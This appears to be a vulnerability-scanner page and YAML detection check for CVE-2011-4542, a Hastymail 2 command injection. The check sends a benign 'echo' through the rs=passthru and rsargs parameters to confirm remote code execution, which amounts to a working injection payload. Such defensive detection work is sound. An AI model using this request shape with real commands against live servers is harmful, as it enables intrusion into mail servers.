Hastymail — 1 vulnerability check
noctis ships 1 vulnerability check for Hastymail, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Hastymail 2 rs/rsargs parameter command execution
| CVE | CVE-2011-4542 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/hastymail/CVE-2011-4542.yaml |
Detects the command injection in Hastymail 2.1.1 RC1 and earlier. The index.php handler passes the "rs" and "rsargs[]" request parameters to call_user_func_array(), so rs=passthru runs the second argument as a shell command. The test POSTs rs=passthru with the command `echo NOCTIS$((a+b))` for two random integers, first anonymously and then, when credentials were supplied with the scan, with a signed-in session. A reply containing NOCTIS and the sum, which the request does not contain, confirms command execution. The command only prints a number; nothing is written on the server.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST {{dir}}/index.php?page=mailbox&mailbox=Draftswith a crafted body - Parses / computes the next value with a Rhai script
- Checks
vanonfor^CODE_EXECUTED$→ finding QoD 97: Hastymail rs/rsargs parameters run shell commands — CVE-2011-4542 - HTTP(S) request
POST {{dir}}/index.php?page=loginwith a crafted body - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST {{dir}}/index.phpwith a crafted body - Parses / computes the next value with a Rhai script
- Checks
vauthfor^CODE_EXECUTED$→ finding QoD 97: Hastymail rs/rsargs parameters run shell commands (signed-in session) — CVE-2011-4542
References:
Feed source — tests/vulnerabilities/hastymail/CVE-2011-4542.yaml
# Hastymail 2.1.1 RC1 and earlier — the "rs" and "rsargs[]" request parameters are
# handed to call_user_func_array() in lib/ajax_functions.php, so a request with
# rs=passthru runs a shell command (CVE-2011-4542).
#
# Detection (benign, nothing is written): POST rs=passthru with the command
# `echo NOCTIS$((a+b))` (two random integers). The shell evaluates the sum,
# which the request never contains, so seeing NOCTIS<sum> in the reply proves
# execution (QoD 97). The command is tried first without a session, as the
# advisory-derived probe does, and then — when the scan request carries
# credentials — with a logged-in session, since upstream describes the sink as
# reachable from a signed-in account (the unauthenticated form is the one
# found on exposed installs of some builds).
#
# Improvements over the source NASL: the proof is a computed value, not a
# command output list (id, cat /etc/passwd) that a reflecting page can fake;
# the common sub-directories (/hastymail2, /hastymail) are tried too; and the
# authenticated variant covers builds that refuse the anonymous request.
#
# Ported from OpenVAS/Greenbone NVT 2011/gb_hastymail2_rs_param_remote_code_inj_vuln.nasl (GPL-2.0-only).
uid: 133cf64b-ab5e-417d-aba9-702f5cde6cbb
name: "Hastymail 2 rs/rsargs parameter command execution (CVE-2011-4542)"
description: |
Detects the command injection in Hastymail 2.1.1 RC1 and earlier. The
index.php handler passes the "rs" and "rsargs[]" request parameters to
call_user_func_array(), so rs=passthru runs the second argument as a shell
command. The test POSTs rs=passthru with the command `echo NOCTIS$((a+b))`
for two random integers, first anonymously and then, when credentials were
supplied with the scan, with a signed-in session. A reply containing
NOCTIS and the sum, which the request does not contain, confirms command
execution. The command only prints a number; nothing is written on the server.
cves: [CVE-2011-4542]
cvss: 7.5 # NVD publishes only a CVSS v2 base score (7.5) for this CVE
severity: high
category: rce
confidence_base: 0.30
tags: [hastymail, webmail, php, command-injection, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2011-4542"
- "https://www.dognaedis.com/vulns/DGS-SEC-3.html"
# OpenVAS/Greenbone NASL 2011/gb_hastymail2_rs_param_remote_code_inj_vuln.nasl (GPL-2.0-only)
steps:
- id: gen-proof
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
let x = rand_hex(6);
let y = rand_hex(6);
#{ a: "" + a, b: "" + b, sum: "" + (a + b), x: x, y: y }
store_as: sc
# ── pre-initialise every stored result read by a script ────────────────────
- id: init-anon
action: set_var
var_name: anon
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/hastymail2", "/hastymail", "/hastymail-2.1.1"]
- id: init-login
action: set_var
var_name: login
var_value: {status: 0, headers: {}}
- id: init-auth
action: set_var
var_name: auth
var_value: {status: 0, body: ""}
- id: init-cookie
action: set_var
var_name: session
var_value: ""
# ── anonymous probe ────────────────────────────────────────────────────────
- id: anon-probe
action: http_request
method: POST
path: "{{dir}}/index.php?page=mailbox&mailbox=Drafts"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "rs=passthru&rsargs[]={{sc.x}}&rsargs[]=echo%20NOCTIS%24%28%28{{sc.a}}%2B{{sc.b}}%29%29"
store_as: anon
- id: anon-verdict
action: script
code: |
let v = "";
if type_of(anon.body) == "string" && ereg("NOCTIS" + sc.sum + "([^0-9]|$)", anon.body) { v = "CODE_EXECUTED"; }
v
store_as: vanon
- id: anon-confirmed
action: match
source: vanon
pattern: '^CODE_EXECUTED$'
on_match:
finding:
title: "Hastymail rs/rsargs parameters run shell commands — CVE-2011-4542"
description: "POST {{dir}}/index.php with rs=passthru and the command echo NOCTIS$(({{sc.a}}+{{sc.b}})) returned NOCTIS{{sc.sum}}, which the request does not contain. A remote user can run arbitrary shell commands with the rights of the web server."
remediation: "Upgrade Hastymail 2 to a release after 2.1.1 RC1, which no longer passes the rs and rsargs request parameters to call_user_func_array()."
confidence_delta: 0.65
qod: 97
evidence: "POST {{dir}}/index.php rs=passthru returned NOCTIS{{sc.sum}}"
stop: true
# ── authenticated probe (only when the scan carries credentials) ───────────
- id: login
action: http_request
method: POST
path: "{{dir}}/index.php?page=login"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "cred_enabled"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "user={{cred_username}}&pass={{cred_password}}&login=Login"
store_as: login
- id: extract-session
action: script
code: |
let sc2 = "";
if login.status == 303 || login.status == 302 {
if "set-cookie" in login.headers { sc2 = login.headers["set-cookie"]; }
}
let m = eregmatch("^([^;]+)", sc2);
if m.len() > 1 { m[1] } else { "" }
store_as: session
- id: auth-probe
action: http_request
method: POST
path: "{{dir}}/index.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "session != \"\""
headers:
Content-Type: "application/x-www-form-urlencoded"
Cookie: "{{session}}"
body: "rs=passthru&rsargs[]={{sc.y}}&rsargs[]=echo%20NOCTIS%24%28%28{{sc.a}}%2B{{sc.b}}%29%29"
store_as: auth
- id: auth-verdict
action: script
code: |
let v = "";
if type_of(auth.body) == "string" && ereg("NOCTIS" + sc.sum + "([^0-9]|$)", auth.body) { v = "CODE_EXECUTED"; }
v
store_as: vauth
- id: auth-confirmed
action: match
source: vauth
pattern: '^CODE_EXECUTED$'
on_match:
finding:
title: "Hastymail rs/rsargs parameters run shell commands (signed-in session) — CVE-2011-4542"
description: "After signing in with the supplied account, POST {{dir}}/index.php with rs=passthru and the command echo NOCTIS$(({{sc.a}}+{{sc.b}})) returned NOCTIS{{sc.sum}}, which the request does not contain. Any user with a mailbox login can run arbitrary shell commands with the rights of the web server."
remediation: "Upgrade Hastymail 2 to a release after 2.1.1 RC1, which no longer passes the rs and rsargs request parameters to call_user_func_array()."
confidence_delta: 0.65
qod: 97
evidence: "POST {{dir}}/index.php rs=passthru (signed in) returned NOCTIS{{sc.sum}}"
stop: true